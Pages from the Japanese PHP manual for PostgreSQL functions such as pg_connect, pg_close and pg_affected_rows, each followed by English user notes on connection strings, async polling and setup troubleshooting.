    $sql = "select relname from pg_stat_user_tables order by relname;";
    return pg_query($db, $sql);
}
abondi at ijk dot it 26-May-2004 05:11
I've found another function to mimic the following mysql list tables function (http://www.php.net/manual/en/function.mysql-list-tables.php) that's more useful for my target:

function pg_list_tables() {
      $sql = "SELECT a.relname AS Name
          FROM pg_class a, pg_user b
          WHERE ( relkind = 'r') and relname !~ '^pg_' AND relname !~ '^sql_'
          AND relname !~ '^xin[vx][0-9]+' AND b.usesysid = a.relowner
          AND NOT (EXISTS (SELECT viewname FROM pg_views WHERE viewname=a.relname));";
      return(pg_query($conn, $sql));
}
daniel at bichara dot com dot br 30-Dec-2002 05:04
Running RedHat Linux and Apache with suexec enabled you must include pgsql.so on each .php file using dl("pgsql.so") and remove "extension=pgsql.so" from php.ini, otherwise Apache (httpd) will not start.
anonymous at unknown dot com 29-Nov-2002 09:50
I just wanted to add to my previous post I've got the system up and running.
Environment: Windows XP, Apache 1.3.23, Php 4.3 RC2, PostGreSQL beta4 native windows build

Installation was fairly easy:
1. read the readme.txt
2. edit the setenv.bat as described in readme
3. run 'initdb'
    all execs are in /bin
    help is accessed like <command> --help
4. Start the psql deamon - you may want to create a batch file like
    'D:\postgres_beta4\bin\postmaster -h localhost -D D:/postgres_beta4/data'

    --deamon should be up and running now--

You can login into a shell from a console like
    'psql -h localhost -d <username>'

You must load the postgresql extension by editing the php.ini and restarting apache in order to access psql with php.

And one final not: when running
    $dbconn = pg_connect ("host=localhost port=5432 dbname=$dbname user=$user");
remember that $user and or $dbname is CASESENSITIVE.

Oh yeah, I created the data dir manually - don't know whether that was necessary

Grtz Vargo
mystran at wasteland dot pp dot htv dot fi 03-Feb-2002 07:46
Nice to know fact that I didn't find documented here.

PHP will return values of PostgreSQL boolean datatype as single character strings "t" and "f", not PHP true and false.

[Editor's Note]
't' or 'f' is valid boolean expression for PostgreSQL.

All values from PostgreSQL are strings, since PostgreSQL integer, float may be much larger than PHP's native int, double can handle. PostgreSQL array is not supported.
saberit at home dot com 15-Sep-2001 02:11
I tried compiling PHP from source with PostgreSQL support (./configure --with-pgsql=/usr/local/pgsql) and ran into a bunch of problems when trying to 'make'. The problem was that some of the PostgreSQL headers were not installed by default when I installed PostgreSQL from source. When installing PostgreSQL make sure you 'make install-all-headers' after you 'make install'.
hubert at hubertmuller dot com 09-Jul-2001 04:36
The best way to find the separated list of tables, sequences, keys etc is:

SELECT relname FROM pg_class WHERE relkind='<value>' AND relname !~ '^pg_';

<value> takes:
i for keys,
r for relations,
S for sequences

Note that all tables names that begins with 'pg_' are PostgreSQL internal tables (this explain why I use AND relname !~ '^pg_' condition).
passion at monkey dot org 27-Jun-2001 06:53
I've tried to mimic the following mysql database connection functions for postgres.
http://www.php.net/manual/en/function.mysql-list-dbs.php
http://www.php.net/manual/en/function.mysql-list-tables.php

These are assuming that you're passing in $link as the result from pg_connect:

function pg_list_dbs($link)
{
    $sql = 'SELECT datname FROM pg_database';
    return (pg_query($link, $sql));
}

function pg_list_tables($link)
{
    $sql = "SELECT relname FROM pg_class WHERE relname !~ '^pg_'";
    return (pg_query($link, $sql));
}
!spamcraig at ahdore dot com 15-Apr-2001 01:11
If you want to extract data from select statements, you need to store the result index, and then apply pg_result to that value. Basically, do this

$resultIdx = pg_query ($database, "select * from tablename");
$mySelect = pg_fetch_result($resultIdx, 0, 0);  // gets column 0 of tuple 0
echo("My select: [".$mySelect."]");

I'm new to php and had to do some fiddling around to work this out. It's reasonably elementary, but not demonstrated by the examples on these pages. Hopefully it will come in useful to someone else.
bleach at chek dot com 02-Mar-2000 12:36
If you want to see all the objects in a database, you can find that information in the pg_class table. <BR>
SELECT * FROM pg_class;<BR>
Now this is going to be kind of long and complex, to see how psql command handles the \d and other things. use the syntax.  psql -E <Database>, ie psql -E mydatabase <BR>
What this will do is show the SQL command used for everything. So when you type a \d or something, it shows the SQL query used for the result.


変更されたレコード(タプル)の数を返す

  • ≪ PostgreSQL 関数
  • pg_cancel_query ≫
  • PHP Manual
  • PostgreSQL 関数
  • 変更されたレコード(タプル)の数を返す

pg_affected_rows

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_affected_rows — 変更されたレコード(タプル)の数を返す

説明

pg_affected_rows ( resource $result ) : int

pg_affected_rows() は、INSERT, UPDATE, DELETE クエリにより変更されたタプル(インスタンス/レコード/行)の数を 返します。

PostgreSQL 9.0 以降は、SELECT を実行したときには選択された行の数を返すようになりました。 それ以前のバージョンでは、SELECT が返す結果は 0 でした。

注意:

この関数は、以前は pg_cmdtuples() と呼ばれていました。

パラメータ

result

pg_query(), pg_query_params() あるいは pg_execute() から返される PostgreSQL の クエリ結果リソース。

返り値

クエリによって変更された行の数を返します。もし変更されたタプルがない場合は 0 を返します。

例

例1 pg_affected_rows() の例

<?php
$result = pg_query($conn, "INSERT INTO authors VALUES ('オーウェル', 2002, '動物農場')");

$cmdtuples = pg_affected_rows($result);

echo $cmdtuples . " タプルが変更されました。\n";
?>

上の例の出力は以下となります。

1 タプルが変更されました。

参考

  • pg_query() - クエリを実行する
  • pg_query_params() - SQL コマンドとパラメータを分割してサーバーへ送信し、その結果を待つ
  • pg_execute() - 指定したパラメータを用いてプリペアドステートメントを実行するリクエストを 送信し、その結果を待つ
  • pg_num_rows() - 行数を返す

User Contributed Notes

Anonymous 20-Dec-2007 03:02
There is something called auto-commit, when you supply more than one query delimited by ; semicolon all-or-none is done if one fails. No need for BEGIN;COMMIT;ROLLBACK when doing one query. its logic to mee pg_affected_rows() returns affected rows and if you want to do 2 queries apart from each other.. do a BEGIN and then 1 and get pg_affected_rows() then do 2 and get pg_affected_rows() and then finally do COMMIT;
Anonymous 14-Nov-2007 07:45
pg-affected-rows () only runs on the LAST SQL STATEMENT executed.  If you compound several statements together then pg_affected_rows might not return what you expect.

For example:

<?php

$result = pg_query ('BEGIN; INSERT INTO foo (bar) VALUES (\'baz\'; COMMIT');

echo (pg_affected_rows ($result));

?>

will cause 0 to be printed, because the last statement executed by Postgres was COMMIT, which doesn't affect any rows.

I haven't tried this so am not certain it works, but you SHOULD be able to get the row counts you want if you split your queries up.

For example:

<?php

$result = pg_query ('BEGIN; INSERT INTO foo (bar) VALUES (\'baz\';');

echo (pg_affected_rows ($result));

pg_query ('COMMIT;');
?>

should allow you to get the number of rows affected by the previous query.  I haven't tried this yet though, so don't count on it.
05-Aug-2005 03:31
That's not quite true, I've been able to execute multiple queries in a single call just fine. In stead, it has to do with the fact this function returns the affected rows for the last executed query, not the last set of queries specified to a single call to pg_query.
29-Jun-2005 06:15
Concering Bruno Baguette's note:

The pg_query function only allows one query per function call.  When you do your
$sql="BEGIN;
INSERT ...
COMMIT;";
$result=pg_query($conn,$sql);
echo pg_affected_rows($result);

you get a zero, because only the BEGIN; is executed.

The single query per call is, I beleive, a PHP builtin protection against SQL injection attacks.  (Ie someone submitting a string paramter that ends the current query and appends another one)
Bruno Baguette 28-Jun-2005 01:45
Note that when you submit several SQL queries, within one BEGIN;COMMIT; like this one :

$SQLQuery = 'BEGIN;';
$SQLQuery.= 'INSERT INTO a (a,b) VALUES (1,2);';
$SQLQuery.= 'INSERT INTO b (ref_b,c) VALUES (2,5);';
$SQLQuery.= 'COMMIT;';

$HandleResults = pg_query($SQLQuery);
echo(pg_affected_rows($HandleResults));

pg_affected_rows() will return 0


非同期クエリを取り消す

  • ≪ pg_affected_rows
  • pg_client_encoding ≫
  • PHP Manual
  • PostgreSQL 関数
  • 非同期クエリを取り消す

pg_cancel_query

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_cancel_query — 非同期クエリを取り消す

説明

pg_cancel_query ( resource $connection ) : bool

pg_cancel_query() は、
pg_send_query()・pg_send_query_params()
あるいは pg_send_execute() により送信された非同期クエリを
キャンセルします。pg_query() により実行されたクエリを
キャンセルすることはできません。

パラメータ

connection

PostgreSQL データベース接続リソース。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 pg_cancel_query() の例

<?php
  $dbconn = pg_connect("dbname=publisher") or die("Could not connect");

  if (!pg_connection_busy($dbconn)) {
      pg_send_query($dbconn, "select * from authors; select count(*) from authors;");
  }

  $res1 = pg_get_result($dbconn);
  echo "First call to pg_get_result(): $res1\n";
  $rows1 = pg_num_rows($res1);
  echo "$res1 has $rows1 records\n\n";

  // 実行中のクエリをキャンセルする。もしまだ実行中なら、2 番目のクエリが
  // 対象となるだろう。
  pg_cancel_query($dbconn);
?>

上の例の出力は以下となります。

First call to pg_get_result(): Resource id #3
Resource id #3 has 3 records

参考

  • pg_send_query() - 非同期クエリを送信する
  • pg_connection_busy() - 接続がビジーかどうか調べる

User Contributed Notes

There are no user contributed notes for this page.


クライアントのエンコーディングを取得する

  • ≪ pg_cancel_query
  • pg_close ≫
  • PHP Manual
  • PostgreSQL 関数
  • クライアントのエンコーディングを取得する

pg_client_encoding

(PHP 4 >= 4.0.3, PHP 5, PHP 7, PHP 8)

pg_client_encoding — クライアントのエンコーディングを取得する

説明

pg_client_encoding ( resource $connection = ? ) : string

PostgreSQL は、ある種の文字セットについてはサーバーとクライアントの間の 自動文字コード変換をサポートしています。 pg_client_encoding() は、クライアントの エンコーディングを文字列として返します。返される値は、標準の PostgreSQL エンコーディング識別子のなかのひとつとなります。

注意:

この関数を使用するには、PHP 4.0.3 以降と PostgreSQL 7.0 以降が必要です。 libpq がマルチバイトエンコーディングのサポートを有効にせずに コンパイルされている場合、pg_client_encoding() は常に SQL_ASCII を返します。サポートされる エンコーディングは PostgreSQL のバージョンに依存します。サポートされる エンコーディングの詳細については PostgreSQL のドキュメントを参照ください。

この関数は、以前は pg_clientencoding() と呼ばれていました。

パラメータ

connection

PostgreSQL データベース接続リソース。connection が指定されていない場合はデフォルトの接続が使用されます。 デフォルトの接続は、直近の pg_connect() あるいは pg_pconnect() によって作成されたものです。

返り値

クライアントのエンコーディングを返します。エラー時には false を返します。

例

例1 pg_client_encoding() の例

<?php
// $conn の接続先のエンコーディングは ISO-8859-1 であるとする
$encoding = pg_client_encoding($conn);

echo "Client encoding is: ", $encoding, "\n";
?>

上の例の出力は以下となります。

Client encoding is: ISO-8859-1

参考

  • pg_set_client_encoding() - クライアントのエンコーディングを設定する

User Contributed Notes

There are no user contributed notes for this page.


PostgreSQL 接続をクローズする

  • ≪ pg_client_encoding
  • pg_connect_poll ≫
  • PHP Manual
  • PostgreSQL 関数
  • PostgreSQL 接続をクローズする

pg_close

(PHP 4, PHP 5, PHP 7, PHP 8)

pg_close — PostgreSQL 接続をクローズする

説明

pg_close ( resource $connection = ? ) : bool

pg_close() は、 connection リソースで指定した PostgreSQL データベースへの持続的でない接続を閉じます。

注意:

持続的でない接続はスクリプトの実行終了時に自動的にクローズされるため、 pg_close() は通常は必要ありません。

接続の中でラージオブジェクトをオープンしている場合は、すべての ラージオブジェクトリソースをクローズするまで接続を閉じないでください。

パラメータ

connection

PostgreSQL データベース接続リソース。connection が指定されていない場合はデフォルトの接続が使用されます。 デフォルトの接続は、直近の pg_connect() あるいは pg_pconnect() によって作成されたものです。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 pg_close() の例

<?php
$dbconn = pg_connect("host=localhost port=5432 dbname=mary")
   or die("Could not connect");
echo "Connected successfully";
pg_close($dbconn);
?>

上の例の出力は以下となります。

Connected successfully

参考

  • pg_connect() - PostgreSQL 接続をオープンする

User Contributed Notes

amays 15-Nov-2005 03:47
pg_close(...) will not technically close a persistent connection but instead returns it back to the connection pool thus giving you the desired effect of having the connection closed within your script.

http://www.sitepoint.com/article/accessing-postgresql-php/3

best wishes to all.
mark at redbrick dot dcu dot ie 24-Mar-2003 06:31
This function closes the current database connection specified by a handle returned from a pg_connect() call.

<?php
    $pgsql_conn = pg_connect("dbname=mark host=localhost");

    if ($pgsql_conn) {
        print "Successfully connected to: " . pg_host($pgsql_conn) . "<br/>\n";
    } else {
        print pg_last_error($pgsql_conn);
        exit;
    }

    // Do database stuff here.

    if(!pg_close($pgsql_conn)) {
        print "Failed to close connection to " . pg_host($pgsql_conn) . ": " .
       pg_last_error($pgsql_conn) . "<br/>\n";
    } else {
        print "Successfully disconnected from database";
    }
?>

Of course you normally wouldn't print a message.

Regards, --mark


進行中の非同期接続のステータスをポーリングする

  • ≪ pg_close
  • pg_connect ≫
  • PHP Manual
  • PostgreSQL 関数
  • 進行中の非同期接続のステータスをポーリングする

pg_connect_poll

(PHP 5 >= 5.6.0, PHP 7, PHP 8)

pg_connect_poll — 進行中の非同期接続のステータスをポーリングする

説明

pg_connect_poll ( resource $connection ) : int

pg_connect_poll() は、 PGSQL_CONNECT_ASYNC オプションを使用して コールされた pg_connect() で作成された PostgreSQL 接続のステータスをポーリングします。

パラメータ

connection

PostgreSQL の接続リソース。

返り値

PGSQL_POLLING_FAILED、 PGSQL_POLLING_READING、 PGSQL_POLLING_WRITING、 PGSQL_POLLING_OK、 または PGSQL_POLLING_ACTIVE を返します。

User Contributed Notes

VLroyrenn 30-Jan-2019 05:31
So the documentation on this function is pretty barebones (as is the case for a lot of thin PHP wrappers around C functions), but from what I've gathered by reading the libpq doc and trying various things, you should probably know the following :

* Polling the connection while the underlying socket is busy will cause the connection (or at least the polling, I'm not sure) to fail.
* As stated by the libpq documentation, "do not assume that the socket remains the same across PQconnectPoll calls"
* The socket will become ready after every change in connection status, so the connection must be polled multiple times until the function returns "polling_ok" or "polling_failed".
* "polling_active" can never be returned by libpq and has literally never been used anywhere ever, it has been an unused constant since day 1.

What you need to do is use pg_socket get a PHP stream object corresponding to the current socket and wait after it before polling, like so:

<?php
function pg_wait_connection_ready($conn) {
    assert(is_resource($conn));
    assert(get_resource_type($conn) === "pgsql link" || get_resource_type($conn) === "pgsql link persistent");

    // "On the first iteration, i.e. if you have yet to call PQconnectPoll, behave as if it last returned PGRES_POLLING_WRITING."
    $poll_outcome = PGSQL_POLLING_WRITING;

    while (true) {
        $socket = [pg_socket($conn)]; // "Caution: do not assume that the socket remains the same across PQconnectPoll calls."
        $null = [];

        if ($poll_outcome === PGSQL_POLLING_READING) {
            stream_select($socket, $null, $null, 5);
            $poll_outcome = pg_connect_poll($conn);
        } else if ($poll_outcome === PGSQL_POLLING_WRITING) {
            stream_select($null, $socket, $null, 5);
            $poll_outcome = pg_connect_poll($conn);
        } else {
            break;
        }
    }
}

$db = pg_connect($conn_string, PGSQL_CONNECT_ASYNC);
// Do things while the connection is getting ready
pg_wait_connection_ready($db);
pg_query($sql);
?>


PostgreSQL 接続をオープンする

  • ≪ pg_connect_poll
  • pg_connection_busy ≫
  • PHP Manual
  • PostgreSQL 関数
  • PostgreSQL 接続をオープンする

pg_connect

(PHP 4, PHP 5, PHP 7, PHP 8)

pg_connect — PostgreSQL 接続をオープンする

説明

pg_connect ( string $connection_string , int $connect_type = ? ) : resource

pg_connect() は、connection_string で指定された情報を用いてデータベースとの接続をオープンします。

同じ connection_string 引数で 2 回 pg_connect() 関数がコールされた場合は、 connect_type に PGSQL_CONNECT_FORCE_NEW を指定していない限り 既存の接続が返されます。

複数のパラメータをサポートする古い構文 $conn = pg_connect("host", "port", "options", "tty", "dbname") は推奨されません。

パラメータ

connection_string

すべてデフォルトのパラメータを使用する場合には connection_string を空にすることが可能です。 または 1 つ以上のパラメータを空白で区切って指定することも可能です。 個々のパラメータは keyword = value の形式で 設定します。等号の前後の空白はあってもなくてもかまいません。 空の値や空白を含む値を指定する場合は、その値をシングルクォートで 囲みます（例: keyword = 'a value'）。値の中に シングルクォートやバックスラッシュが含まれる場合は、それらを バックスラッシュでエスケープする必要があります（例: \' および \\）。

現在利用できるパラメータは以下のとおりです。 host, hostaddr, port, dbname (デフォルトは user の値), user, password, connect_timeout, options, tty（無視されます）, sslmode, requiressl（非推奨。代わりに sslmode を推奨します） および service 。これらのうち実際にどの パラメータが使えるかは、PostgreSQL のバージョンに依存します。

options パラメータを使うと、 サーバー側で実行されるコマンドラインパラメータを指定することができます。

connect_type

PGSQL_CONNECT_FORCE_NEW が渡された場合は、 たとえ connection_string が既存の接続と まったく同一であっても新しい接続をオープンします。

PGSQL_CONNECT_ASYNC を指定すると、 非同期接続を確立します。この接続の状態は、 pg_connect_poll() あるいは pg_connection_status() で確認できます。

返り値

成功した場合に PostgreSQL の接続リソース、失敗した場合に false を返します。

変更履歴

バージョン | 説明
5.6.0 | connect_type として、定数 PGSQL_CONNECT_ASYNC が指定できるようになりました。

例

例1 pg_connect() の使用法

<?php
$dbconn = pg_connect("dbname=mary");
// "mary"という名前のデータベースに接続

$dbconn2 = pg_connect("host=localhost port=5432 dbname=mary");
// "localhost"のポート"5432"にて"mary"という名前のデータベースに接続

$dbconn3 = pg_connect("host=sheep port=5432 dbname=mary user=lamb password=foo");
// ユーザー名とパスワードを指定してホスト"sheep"上の"mary"という名前のデータベースに接続

$conn_string = "host=sheep port=5432 dbname=test user=lamb password=bar";
$dbconn4 = pg_connect($conn_string);
// ユーザー名とパスワードを指定してホスト"sheep"上の"test"という名前のデータベースへ接続

$dbconn5 = pg_connect("host=localhost options='--client_encoding=UTF8'");
// "localhost" のデータベースに接続する際に、エンコーディングを UTF-8 に指定
?>

参考

  • pg_pconnect() - 持続的な PostgreSQL 接続をオープンする
  • pg_close() - PostgreSQL 接続をクローズする
  • pg_host() - 接続に関連するホスト名を返す
  • pg_port() - 接続に関連するポート番号を返す
  • pg_tty() - 接続に関する TTY 名を返す
  • pg_options() - 接続に関連するオプションを取得する
  • pg_dbname() - データベース名を取得する

User Contributed Notes

VLroyrenn 30-Jan-2019 07:31
For what it's worth, it should be noted that, while PHP will generally handle connection-reuse for you so long as you keep using the same connection strings, as in the following example:

<?php
$before_conn1 = microtime(true);
$db1 = pg_connect($conn_string);

$before_conn2 = microtime(true);
$db2 = pg_connect($conn_string);
$after_conn2 = microtime(true);

echo($before_conn2 - $before_conn1); // Takes ~0.03s
echo("\n");
echo($after_conn2 - $before_conn2); // Takes 0s
?>

...as nice as it would have been, this does not hold true for async connections; you have to manage those yourself and you can't follow up an async connection with a blocking one later on as an easy way to wait for the connection process to complete before sending queries.

<?php
$before_conn1 = microtime(true);
$db1 = pg_connect($conn_string, PGSQL_CONNECT_ASYNC);
sleep(1);

$before_conn2 = microtime(true);
$db2 = pg_connect($conn_string);
$after_conn2 = microtime(true);

echo($before_conn2 - $before_conn1); // Takes ~1s
echo("\n");
echo($after_conn2 - $before_conn2); // Takes ~0.025s
?>
Anonymous 21-Feb-2018 09:25
<?php

class Baza {
    const DNS='mysql:host=localhost;dbname=news;charset=utf8';
    const UZYTKOWNIK='root';
    const HASLO='';

    public $klient;

    function __construct(){
        $this->polacz();
    }
    public function polacz(){
    try{
        $this->klient=new PDO(
            self::DNS,
            self::UZYTKOWNIK,
            self::HASLO
        );
    }
    catch (PDOException $e){
        die('Wyst?pi? nast?puj?cy b??d bazy danych: '.$e->getMessage());
    }
    return true;
    }
}
lukasz dot wolczak at gmail dot com 23-Jul-2016 09:37
It is worth to know, that you can set application_name in connection string, consider this simple example:

<?php
$appName = $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
$connStr = "host=localhost port=5432 dbname=postgres user=postgres options='--application_name=$appName'";

//simple check
$conn = pg_connect($connStr);
$result = pg_query($conn, "select * from pg_stat_activity");
var_dump(pg_fetch_all($result));

?>

By doing this move on cli or cgi you can see in pgAdmin what scripts are running or what requests are running on database. You can extend configuration of postgres to track slow queries and print application name to logs. It was very usuful to me to find out what and where should I optimize.
floriparob at gmail dot com 12-Jul-2016 03:20
Using the "service" parameter as the connection string -- we found that the following functions:-

putenv("PGSERVICEFILE=/path/to/your/service/file/pg_service.conf");
$connect_string = ("service=testdb");
try {
   $pgconn_handle = pg_connect($connect_string);
   . . . . . etc.

Note:-
1) the environment variable has to point to the path AND file name.
2) the file has to be readable by Apache.

See:-

https://www.postgresql.org/docs/9.6/static/libpq-pgservice.html

for how to create your pg_service.conf
Anonymous 24-Apr-2015 06:41
If you get the following warning :
"Warning: pg_connect(): Unable to connect to PostgreSQL server: could not translate host name "server.your.trying.to.connect.to" to address:"
and the server you are trying to connect to is fine and the connecting itself should be working fine,
it might be the case that the postgres extension for PHP might be confused about something.
Try to restart your Apache to reinitialize the extension.
Anonymous 29-Sep-2014 07:50
Getting md5 passwords was confusing because of a lack of documentation:

- set up your pg_hba.conf in order to use md5 password instead of 'trust' or 'ident'
- check if your postgres.conf has 'password_encryption=on' (depending on the version this might already be 'on').
- make sure to restart your postgres process.
- in PHP you just supply the username and password in _plain_ text:
'host=localhost port=5432 dbname=megadb user=megauser password=holyhandbagsbatmanthispasswordisinplaintext'
The postgres PHP library will automagically do the md5 encoding for you, no need to do it yourself.
Dave 03-Jun-2013 12:40
If you use pgbouncer and unix socket
and you pgbouncer.ini looks like this
listen_port = 6432
unix_socket_dir = /tmp

you connect like this

pg_connect('host=/tmp port=6432 dbname=DB user=USER password=PASS');
dreamsoundaudio at gmail dot com 03-Sep-2011 10:06
Ubuntu/Debian users, specifically server versions: If you used Tasksel to build PostgreSQL, and you're banging your head against the wall with the "Fatal error: Call to undefined function pg_connect()" error, check that php5-pgsql is installed.

Tasksel apparently doesn't install it.
thakur at corexprts dot com 27-Oct-2010 01:45
One thing is to remember, whenever trying to use pg_connect, add the timeout parameter with it

<?php
$d=pg_connect('host=example.com user=pgsql dbname=postgres connect_timeout=5');
?>
infotirona at yahoo dot com 16-Aug-2010 06:33
It's strange how this "Fatal error: Call to undefined function pg_connect()" happens(when everything else is OK) in PHP version 5.3.3.

I was trying to connect to my db when I got that error message the firs time. My extensions path was OK, pgsql extension  should have been loaded from php.ini(i had enabled it before), Apache started-up without errors, but i still had the "Fatal error: Call to undefined function pg_connect()" message when i tried to connect.
Seaching a bit around i found something about dll libraries not working as they should, so deleted the new 5.3.3 version, downloaded the PHP 5.2.5 and configured it.

I'm using Windows XP Home SP3, Apache 2.2, PHP 5.2.5 and everything works fine now... ;)
gutostraube at gmail dot com 02-Oct-2009 06:51
It's possible connect to a PostgreSQL database via Unix socket using the pg_connect() function by the following two ways:

1) Using the socket path:

<?php
$conn = pg_connect('host=/var/run/postgresql user=username dbname=databasename');
?>

2) Omitting the host name/path:

<?php
$conn = pg_connect('user=username dbname=databasename');
?>

Note: in this case (omitting the host value), the default socket path will be used.
bgalloway at citycarshare dot org 27-Mar-2008 06:33
Beware about writing something like
<?php
function getdb_FAILS() {
    return pg_connect("...") or die('connection failed');
}
?>

It will return a boolean.  This will appear to be fine if you don't use the return value as a db connection handle, but will fail if you do.

Instead, use:
<?php
function getdb() {
    $db = pg_connect("...") or die('connection failed');
    return $db;
}
?>

which actually returns a handle.
tim at buttersideup dot com 28-Dec-2007 10:41
It's not explicitly stated here, but you can also connect to PostgreSQL via a UNIX domain socket by leaving the host empty.  This should have less overhead than using TCP e.g.:

$dbh = new PDO('pgsql:user=exampleuser dbname=exampledb password=examplepass');

In fact as the C library call PQconnectdb underlies this implementation, you can supply anything that this library call would take - the "pgsql:" prefix gets stripped off before PQconnectdb is called, and if you supply any of the optional arguments (e.g. user), then these arguments will be added to the string that you supplied...  Check the docs for your relevant PostgreSQL client library: e.g.

http://www.postgresql.org/docs/8.3/static/libpq-connect.html

If you really want, you can use ';'s to separate your arguments - these will just be converted to spaces before PQconnectdb is called.

Tim.
xourge 19-Aug-2007 09:17
remember that when you use a blank password there will be an error because of:
password= dbname= (...)
to fix this problem use '' in your $options variable
example:

$options = " host='localhost' port='5432' user='postgres' password='' dbname='test' ";
pg_connect($options);

*** careful: I used double ' after password=, not "
Sohel Taslim 02-Aug-2007 07:20
I got the same problem but I have to solve that in different way.
In my postgresql.conf file the following was commented.
So, I active that under Connection Settings-

# - Connection Settings -
tcpip_socket = true
borovik -at- gmail 03-Apr-2007 07:06
"If you use pg_connect('host=localhost port=5432 user=my_username password=my_password dbname=my_dbname') and you get the following error:
"Warning: pg_connect(): Unable to connect to PostgreSQL server: could not connect to server: Connection refused Is the server running on host localhost and accepting TCP/IP connections on port 5432?"
"
I solved this error just by setting listen_addresses = '*' in the postgresql.conf file. This error occurs probably despite of a name resolution to localhost, given in the "host" parameter. So you can set the host in the pg_connect() function.
Anonymous 10-Apr-2005 09:51
The values accepted by pg_connect's sslmode argument are: disable, allow, prefer, require
phpnet at benjamin dot schulz dot name 01-Sep-2004 04:28
if you need to open a new connection handle (i.e. for multiple pg_send_query()) use PGSQL_CONNECT_FORCE_NEW as second parameter to pg_connect()
Cybertinus 15-Dec-2003 01:47
If you use pg_connect('host=localhost port=5432 user=my_username password=my_password dbname=my_dbname') and you get the following error:
"Warning: pg_connect(): Unable to connect to PostgreSQL server: could not connect to server: Connection refused Is the server running on host localhost and accepting TCP/IP connections on port 5432?"
then you should try to leave the host= and port= parts out of the connection string. This sounds strange, but this is an "option" of Postgre. If you have not activated the TCP/IP port in postgresql.conf then postgresql doesn't accept any incoming requests from an TCP/IP port. If you use host= in your connection string you are going to connect to Postgre via TCP/IP, so that's not going to work. If you leave the host= part out of your connection string you connect to Postgre via the Unix domain sockets, which is faster and more secure, but you can't connect with the database via any other PC as the localhost.
xzilla at users dot sourceforge dot net 09-Dec-2003 08:22
regarding the note from  matias at nospam dot projectcast dot com
on 12-Feb-2002 01:16, you do not need a user in the database with the same name a your web user with ANY version of postgresql.  The only time that would be a requirement ifs if you set your postgresql server to only allow IDENT based authentication  (which IIRC is the default on Red Hat systems, which might be what lead to the confusion).  For more info on the various authentication methods allowed by postgresql, check out http://www.postgresql.org/docs/7.4/static/client-authentication.html
derry at siliconriver.com dot au 07-Aug-2003 08:48
pg_connect seems to support SSL connections, on systems where Postgres has been compiled with ssl, i'm assuming this is since psql uses libpq to connect.
pg_connect can successfully connect, and use the "requiressl" argument.
jtate at php dot net 31-Dec-2002 02:36
If you use host=HOSTNAME in your pg_connect string when connecting to PostgreSQL databases newer than 7.1, you need to make sure that your postmaster daemon is started with the "-i" option.  Otherwise the connection will fail.  See http://www.postgresql.org/idocs/index.php?client-authentication.html for client authentication documentation.
matias at nospam dot projectcast dot com 12-Feb-2002 01:16
At least with Postgres 7.2, connecting to local postgresdatabase requires a user in the database with the same name as the user running apache, or the connection fails.
rolf at sir-wum dot de 12-Oct-2001 05:54
pg_connect() won't work with the authentication method 'crypt' in the pg_hba.conf. Took me an hour to figure that out till I remeberd some other issues with windows missing the crypt() call.
kayotix at yahoo dot com 14-Sep-2000 11:54
Little note that is buried in the install somewhere.  In Php 3, PostgreSQL support was activated by adding --with-postgresql=[DIR] to the options passed to ./configure.  With Php 4.0.2 (on Linux) the parameter was --with-pgsql.  The only place I found this was in the installing PHP on Unix section of the manual.
leace at post dot cz 21-Jul-2000 02:26
If you use PostgreSQL users for authenticating into your pg database rather than using your own authentication, always specify host directive in pg_connect and edit pg_hba.conf to authenticate from this host accordingly. Otherwise, PHP will connect as 'local' using UNIX domain sockets, which is set in pg_hba.conf to 'trust' by default (so you can connect using psql on console without specifying password) and everyone can connect to db _without password_ .


接続がビジーかどうか調べる

  • ≪ pg_connect
  • pg_connection_reset ≫
  • PHP Manual
  • PostgreSQL 関数
  • 接続がビジーかどうか調べる

pg_connection_busy

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_connection_busy — 接続がビジーかどうか調べる

説明

pg_connection_busy ( resource $connection ) : bool

pg_connection_busy() は、接続がビジーかどうかを調べます。 接続がビジーである場合、以前のクエリがまだ実行中です。 もしこの接続に pg_get_result() がコールされた場合、 それはブロックされます。

パラメータ

connection

PostgreSQL データベースの接続リソース。

返り値

接続がビジーの場合に true 、そうでない場合に false を返します。

例

例1 pg_connection_busy() の例

<?php
  $dbconn = pg_connect("dbname=publisher") or die("Could not connect");
  $bs = pg_connection_busy($dbconn);
  if ($bs) {
      echo 'connection is busy';
  } else {
     echo 'connection is not busy';
  }
?>

参考

  • pg_connection_status() - 接続ステータスを取得する
  • pg_get_result() - 非同期クエリの結果を取得する

User Contributed Notes

VLroyrenn 19-Jun-2019 01:35
There doesn't seem to be any documented way of using this function here, and I'm sore most people trying this are going to default to using a busy loop if there is nothing else to do while waiting (in which case pg_get_result would be better, since it just blocks until a result is ready) or a sleep loop if trying to cancel the query after a certain time.

The C documentation for libPq reccomends using PQisBusy (the C equivalent of pg_connection_busy) by waiting on a socket instead, which lets you timeout if the state doesn't change after a certain period but immediately react if it changes. If you want to cancel after a timeout, you would have something like this :

<?php
class SomeKindOfTimeoutException extends Exception { }

class SomeKindOfSQLErrorException extends Exception { }

function query_with_timeout($conn, $query, $timeout_seconds) {
    assert(pg_get_result($conn) === false); // Ensure that nothing is running

    $socket = [pg_socket($conn)];
    $null = [];

    $dispatch_ok = pg_send_query($conn, $query);

    $still_running = pg_connection_busy($conn);

    while($still_running) {
        // https://www.postgresql.org/docs/current/libpq-async.html
        // "A typical application using these functions will have a main loop that uses select() or poll() to wait for all the conditions that it must respond to."
        // "One of the conditions will be input available from the server, which in terms of select() means readable data on the file descriptor identified by PQsocket."
        // PQisBusy is mapped to pg_connection_busy
        stream_select($socket, $null, $null, $timeout_seconds); // Will wait on that socket until that happens or the timeout is reached
        $still_running = pg_connection_busy($conn); // False on timeout, true if complete

        // You could keep polling like that, this just breaks and throws immediately on first loop
        if ($still_running) {
            $cancel_ok = pg_cancel_query($conn);
            throw new SomeKindOfTimeoutException("TIMEOUT");
        }
    }

    $res = pg_get_result($conn);

    try {
        $error_msg = pg_result_error($res);
        if ($error_msg) throw new SomeKindOfSQLErrorException($error_msg);

        return pg_fetch_all($res);
    } finally {
        pg_free_result($res);
    }
}

$conn_string = "host=localhost port=5433 dbname=postgres";
$db = pg_connect($conn_string);

query_with_timeout($db, "SELECT pg_sleep(10)", 3); // Will throw
?>
